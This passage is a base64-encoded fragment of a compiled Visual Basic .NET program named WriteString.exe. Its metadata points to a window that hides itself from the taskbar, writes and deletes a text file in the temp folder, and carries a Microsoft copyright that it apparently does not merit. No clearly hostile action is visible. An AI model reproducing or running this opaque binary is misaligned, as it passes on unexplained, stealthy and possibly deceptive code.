O0BOMAEwLCAgABIwIjAgEBQwMjAgMBqwEjAiABIwIjAiEBQwMjAiEBWwMjAiMBuwEjAiMBGwLiBCMBiwIjAiMBkwIjAiMBWwMjAkABIwIjAkMBGwI6BUMBWwMjAkMBEwLpAmABIwIjAmMBWwMjAmMBkwIjAmMBuwEjAmMBiwIjAoABIwIjAoEBswEoAqABuwEjAqEBswE2AsABuwEjAsEBswFEAuABIwIjAuEBswFSAgACIwIjAgECswFgAgkCEwLpAiACEwLCAiACIwIjAiECswFuAikCEwLpAkACEwLCAkECswF8AmACEwLCAmECswGKAoACEwLCAqACEwLCAsACIwIjAsACEwLCAuACEwLCAuACIwIjAgADIwIjAgADEwLCAiADEwLCAiADIwIjAkADIwIjAmADIwIjAoADIwIjAoADEwLCAokDmwKZBaADIwIjAsADEwLCAsADIwIjAuADuwEjAiAEuwEjAkAEuwEjAmAEwwEjAoAEuwEjAqAEuwEjAsAEuwEjAuAEuwEjAgAFuwEjAiAFuwEjAkAFuwEjAmAFuwEjAoAFuwEjAqAFuwEjAsAFuwEjAuAFuwEjAgAGuwEjAiAGuwEjAkAGuwEjAmAGuwEjAmAIuwEjAoAIEwLpAoAIuwEjApYBpwHnAfgB+AH4AfgB+AH4AfgB+AGnARQClgEVAxoDHwMkAykDhwOnAbkDxwOnAcwD0APVA6cBzAPQA9UDOgTHA64EzgTWBNUD1QPVA9UD1QPVA9UD1QPVA6cBMwWUBQQAAQAFAAYABwAHAAgACAAJABAACgAbAAsAHAAAAMEBbwAAAI4CdAAAABsCeQAAAJoCfgAAAKACgwAAAIwAwAAAAKID0QAAAGAF/QAAAGkF/QAAAHIF/QAAAHsF/QAAAIQF/QAAAI0F/QAAAJYF/QAAAJ8F/QAAALkFHgEAAHEGIwEAAHkGKAEAAHwGKAEAAH8GKAEAAIIGKAEAAIUGKAEAAIgGKAEAAIsGKAEAAI4GKAEAAJEGKAEAABIHQgEAACcHQgECAAgAAwACAAkABQACAAoABwACAAsACQACAAwACwACAA0ADQABAA4ADQACAB0ADwACACQAEQABACUAEQACACYAEwABACcAEwABACkAFQACACgAFQABACsAFwACACoAFwACACwAGQABAC0AGQACAC4AGwABAC8AGwACADAAHQABADEAHQABADMAHwACADIAHwACADYAIQACADcAIwABADgAIwACADkAJQACADoAJwACADsAKQACADwAKwACAD0ALQACAD4ALwACAD8AMQACAEAAMwACAEEANQACAEUANwACAEYAOQCXAJcAlwCXAMUARwHyAvkCAAMHAw4DogQEgAAAAQAAAAAAAAAAAAAAAACSAAAAAgAAAAAAAAAAAAAAAQAKAAAAAAAIAAAAAAAAAAAAAAAKABMAAAAAAAIAAAAAAAAAAAAAAAEA4QIAAAAAAgAAAAAAAAAAAAAAAQBjAQAAAAACAAAAAAAAAAAAAAAKALQIAAAAAAAAAAABAAAA1Q4AANwGAAABAAAA8Q4AAAUABAAGAAQABwAEAAAAEAAOAPsCAAAQAB8A+wIAAAAAIQD7AgAAEAA1APsCAAAAADcA+wIeAIIDIACCA7cAnwO3AKkEAgAdAAMAHQAAAAA8TW9kdWxlPgBtc2NvcmxpYgBNaWNyb3NvZnQuVmlzdWFsQmFzaWMATXlBcHBsaWNhdGlvbgBXcml0ZVN0cmluZy5NeQBNeUNvbXB1dGVyAE15UHJvamVjdABNeUZvcm1zAE15V2ViU2VydmljZXMAVGhyZWFkU2FmZU9iamVjdFByb3ZpZGVyYDEARm9ybTEAV3JpdGVTdHJpbmcAUmVzb3VyY2VzAFdyaXRlU3RyaW5nLk15LlJlc291cmNlcwBNeVNldHRpbmdzAE15U2V0dGluZ3NQcm9wZXJ0eQBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbkJhc2UALmNjdG9yAF9fRU5DQWRkVG9MaXN0AHZhbHVlAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAExpc3RgMQBTeXN0ZW0AV2Vha1JlZmVyZW5jZQBfX0VOQ0xpc3QATWFpbgBBcmdzAC5jdG9yAE9uQ3JlYXRlTWFpbkZvcm0ATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkRldmljZXMAQ29tcHV0ZXIAT2JqZWN0AGdldF9Db21wdXRlcgBtX0NvbXB1dGVyT2JqZWN0UHJvdmlkZXIAZ2V0X0FwcGxpY2F0aW9uAG1fQXBwT2JqZWN0UHJvdmlkZXIAVXNlcgBnZXRfVXNlcgBtX1VzZXJPYmplY3RQcm92aWRlcgBnZXRfRm9ybXMAbV9NeUZvcm1zT2JqZWN0UHJvdmlkZXIAZ2V0X1dlYlNlcnZpY2VzAG1fTXlXZWJTZXJ2aWNlc09iamVjdFByb3ZpZGVyAEFwcGxpY2F0aW9uAEZvcm1zAFdlYlNlcnZpY2VzAGdldF9Gb3JtMQBtX0Zvcm0xAHNldF9Gb3JtMQBWYWx1ZQBDcmVhdGVfX0luc3RhbmNlX18AU3lzdGVtLldpbmRvd3MuRm9ybXMARm9ybQBUAEluc3RhbmNlAERpc3Bvc2VfX0luc3RhbmNlX18AaW5zdGFuY2UAU3lzdGVtLkNvbGxlY3Rpb25zAEhhc2h0YWJsZQBtX0Zvcm1CZWluZ0NyZWF0ZWQARXF1YWxzAG8AR2V0SGFzaENvZGUAVHlwZQBHZXRUeXBlAFRvU3RyaW5nAGdldF9HZXRJbnN0YW5jZQBtX1RocmVhZFN0YXRpY1ZhbHVlAEdldEluc3RhbmNlAERpc3Bvc2UAZGlzcG9zaW5nAFN5c3RlbS5Db21wb25lbnRNb2RlbABJQ29udGFpbmVyAGNvbXBvbmVudHMASW5pdGlhbGl6ZUNvbXBvbmVudABUZXh0Qm94AF9UZXh0Qm94OABnZXRfVGV4dEJveDgAc2V0X1RleHRCb3g4AFdpdGhFdmVudHNWYWx1ZQBfVGV4dEJveDcAZ2V0X1RleHRCb3g3AHNldF9UZXh0Qm94NwBfVGV4dEJveDYAZ2V0X1RleHRCb3g2AHNldF9UZXh0Qm94NgBfVGV4dEJveDUAZ2V0X1RleHRCb3g1AHNldF9UZXh0Qm94NQBfVGV4dEJveDQAZ2V0X1RleHRCb3g0AHNldF9UZXh0Qm94NABfVGV4dEJveDMAZ2V0X1RleHRCb3gzAHNldF9UZXh0Qm94MwBfVGV4dEJveDIAZ2V0X1RleHRCb3gyAHNldF9UZXh0Qm94MgBfVGV4dEJveDEAZ2V0X1RleHRCb3gxAHNldF9UZXh0Qm94MQBFdmVudEFyZ3MARm9ybTFfTG9hZABzZW5kZXIAZQBzdHIAeAB0bXAAVGV4dEJveDgAVGV4dEJveDcAVGV4dEJveDYAVGV4dEJveDUAVGV4dEJveDQAVGV4dEJveDMAVGV4dEJveDIAVGV4dEJveDEAU3lzdGVtLlJlc291cmNlcwBSZXNvdXJjZU1hbmFnZXIAcmVzb3VyY2VNYW4AU3lzdGVtLkdsb2JhbGl6YXRpb24AQ3VsdHVyZUluZm8AcmVzb3VyY2VDdWx0dXJlAGdldF9SZXNvdXJjZU1hbmFnZXIAZ2V0X0N1bHR1cmUAc2V0X0N1bHR1cmUAZ2V0X18xAGdldF9fMgBnZXRfXzMAZ2V0X180AGdldF9fNQBnZXRfXzYAZ2V0X183AGdldF9fOABnZXRfXzkAQ3VsdHVyZQBfMQBfMgBfMwBfNABfNQBfNgBfNwBfOABfOQBTeXN0ZW0uQ29uZmlndXJhdGlvbgBBcHBsaWNhdGlvblNldHRpbmdzQmFzZQBkZWZhdWx0SW5zdGFuY2UAYWRkZWRIYW5kbGVyAGFkZGVkSGFuZGxlckxvY2tPYmplY3QAQXV0b1NhdmVTZXR0aW5ncwBnZXRfRGVmYXVsdABEZWZhdWx0AGdldF9TZXR0aW5ncwBTZXR0aW5ncwBFdmVudEhhbmRsZXIAYWRkX0xvYWQAU2VydmVyQ29tcHV0ZXIATWljcm9zb2Z0LlZpc3VhbEJhc2ljLk15U2VydmljZXMARmlsZVN5c3RlbVByb3h5AGdldF9GaWxlU3lzdGVtAFNwZWNpYWxEaXJlY3Rvcmllc1Byb3h5AGdldF9TcGVjaWFsRGlyZWN0b3JpZXMAZ2V0X1RlbXAAU3RyaW5nAENvbmNhdABTeXN0ZW0uVGhyZWFkaW5nAE1vbml0b3IARW50ZXIAZ2V0X0NvdW50AGdldF9DYXBhY2l0eQBnZXRfSXRlbQBnZXRfSXNBbGl2ZQBzZXRfSXRlbQBSZW1vdmVSYW5nZQBzZXRfQ2FwYWNpdHkAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBSdW50aW1lSGVscGVycwBHZXRPYmplY3RWYWx1ZQBBZGQARXhpdABJRGlzcG9zYWJsZQBDb21wb25lbnRSZXNvdXJjZU1hbmFnZXIAU3lzdGVtLkRyYXdpbmcAUG9pbnQAU2l6ZQBTaXplRgBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBDb250cm9sAFN1c3BlbmRMYXlvdXQAc2V0X0xvY2F0aW9uAHNldF9OYW1lAHNldF9TaXplAHNldF9UYWJJbmRleABHZXRTdHJpbmcAc2V0X1RleHQAQ29udGFpbmVyQ29udHJvbABzZXRfQXV0b1NjYWxlRGltZW5zaW9ucwBBdXRvU2NhbGVNb2RlAHNldF9BdXRvU2NhbGVNb2RlAHNldF9DbGllbnRTaXplAENvbnRyb2xDb2xsZWN0aW9uAGdldF9Db250cm9scwBSZXN1bWVMYXlvdXQAUGVyZm9ybUxheW91dABIaWRlAHNldF9TaG93SWNvbgBzZXRfU2hvd0luVGFza2JhcgBzZXRfT3BhY2l0eQBGaWxlRXhpc3RzAERlbGV0ZUZpbGUAV3JpdGVBbGxUZXh0AE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5Db21waWxlclNlcnZpY2VzAFByb2plY3REYXRhAEVuZEFwcABEZXNpZ25lckdlbmVyYXRlZEF0dHJpYnV0ZQBBY2Nlc3NlZFRocm91Z2hQcm9wZXJ0eUF0dHJpYnV0ZQBTeXN0ZW0uRGlhZ25vc3RpY3MARGVidWdnZXJOb25Vc2VyQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dlclN0ZXBUaHJvdWdoQXR0cmlidXRlAGdldF9Vc2VDb21wYXRpYmxlVGV4dFJlbmRlcmluZwBTZXRDb21wYXRpYmxlVGV4dFJlbmRlcmluZ0RlZmF1bHQAUnVuAEF1dGhlbnRpY2F0aW9uTW9kZQBzZXRfSXNTaW5nbGVJbnN0YW5jZQBzZXRfRW5hYmxlVmlzdWFsU3R5bGVzAHNldF9TYXZlTXlTZXR0aW5nc09uRXhpdABTaHV0ZG93bk1vZGUAc2V0X1NodXRkb3duU3R5bGUAc2V0X01haW5Gb3JtAEVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAERlYnVnZ2VySGlkZGVuQXR0cmlidXRlAFNUQVRocmVhZEF0dHJpYnV0ZQBTdGFuZGFyZE1vZHVsZUF0dHJpYnV0ZQBIaWRlTW9kdWxlTmFtZUF0dHJpYnV0ZQBTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduAEhlbHBLZXl3b3JkQXR0cmlidXRlAEFyZ3VtZW50RXhjZXB0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAFRhcmdldEludm9jYXRpb25FeGNlcHRpb24AZ2V0X0lzRGlzcG9zZWQAQ29udGFpbnNLZXkAVXRpbHMAR2V0UmVzb3VyY2VTdHJpbmcASW52YWxpZE9wZXJhdGlvbkV4Y2VwdGlvbgBBY3RpdmF0b3IAQ3JlYXRlSW5zdGFuY2UARXhjZXB0aW9uAFNldFByb2plY3RFcnJvcgBnZXRfSW5uZXJFeGNlcHRpb24AZ2V0X01lc3NhZ2UAQ2xlYXJQcm9qZWN0RXJyb3IAUmVtb3ZlAENvbXBvbmVudABNeUdyb3VwQ29sbGVjdGlvbkF0dHJpYnV0ZQBUaHJlYWRTdGF0aWNBdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAENvbVZpc2libGVBdHRyaWJ1dGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAUmVmZXJlbmNlRXF1YWxzAEFzc2VtYmx5AGdldF9Bc3NlbWJseQBTZXR0aW5nc0Jhc2UAU3luY2hyb25pemVkAGdldF9TYXZlTXlTZXR0aW5nc09uRXhpdABTYXZlAE9iamVjdEZsb3dDb250cm9sAENoZWNrRm9yU3luY0xvY2tPblZhbHVlVHlwZQBTaHV0ZG93bkV2ZW50SGFuZGxlcgBhZGRfU2h1dGRvd24AV3JpdGVTdHJpbmcuRm9ybTEucmVzb3VyY2VzAFdyaXRlU3RyaW5nLlJlc291cmNlcy5yZXNvdXJjZXMARGVidWdnYWJsZUF0dHJpYnV0ZQBEZWJ1Z2dpbmdNb2RlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBXcml0ZVN0cmluZy5leGUAAAAAABNcADEANwAxADcALgB0AHgAdAAAEVQAZQB4AHQAQgBvAHgAOAAAG1QAZQB4AHQAQgBvAHgAOAAuAFQAZQB4AHQAABFUAGUAeAB0AEIAbwB4ADcAAICRMQA5ADEAOQAxADkAMQA5ADEAOQAxADkAMQA5ADEAOQAxADkAMQA5ADEAOQAxADkAMQA5ADEAOQAxADkAMQA5ADEAOQAxADkAMQA5ADEAOQAxADkAMQA5ADEAOQAxADkAMQA5ADEAOQAxADkAMQA5ADEAOQAxADkAMQA5ADEAOQAxADkAMQA5ADEAOQAxADkAABFUAGUAeAB0AEIAbwB4ADYAADExADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAAEVQAZQB4AHQAQgBvAHgANQAAGTEANwAxADcAMQA3ADEANwAxADcAMQA3AAARVABlAHgAdABCAG8AeAA0AAAbVABlAHgAdABCAG8AeAA0AC4AVABlAHgAdAAAEVQAZQB4AHQAQgBvAHgAMwAAgTkxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAxADcAMQA3ADEANwAAEVQAZQB4AHQAQgBvAHgAMgAAJXMAYQBtAGUAcgAxADUAMQA1ADEANQAxADEANgAxADYAMQA2AAARVABlAHgAdABCAG8AeAAxAAApMQAwADAAMAAwADAAMgAwADAAMAAwADAAMwAwADAAMAAwADAAMAAwAAALRgBvAHIAbQAxAAABAEdQAHIAbwBwAGUAcgB0AHkAIA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AAAAAAAAAAAAAAAAAAAAAAADAwMDAwMDAwMDAwMDAwMDAwEBAQEBAQEBAQEBAQEBAwMBAgICAgICAgICAgICAQMDAQICAgICAgICAgICAgEDAwECAgICAgICAgICAgIBAwMBAgICAgICAgICAgICAQMDAQICAgICAgICAgICAgEDAwECAgICAgICAgICAgIBAwMBAgICAgICAgICAgICAQMDAQICAgICAgICAgICAgEDAwEBAQEBAQEBAQEBAQEBAwMBAQEBAQEBAQEBAQEBAQMDAQEBAQEBAQEBAQEBAQEDAwMDAwMDAwMDAwMDAwMDAwAAAAAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA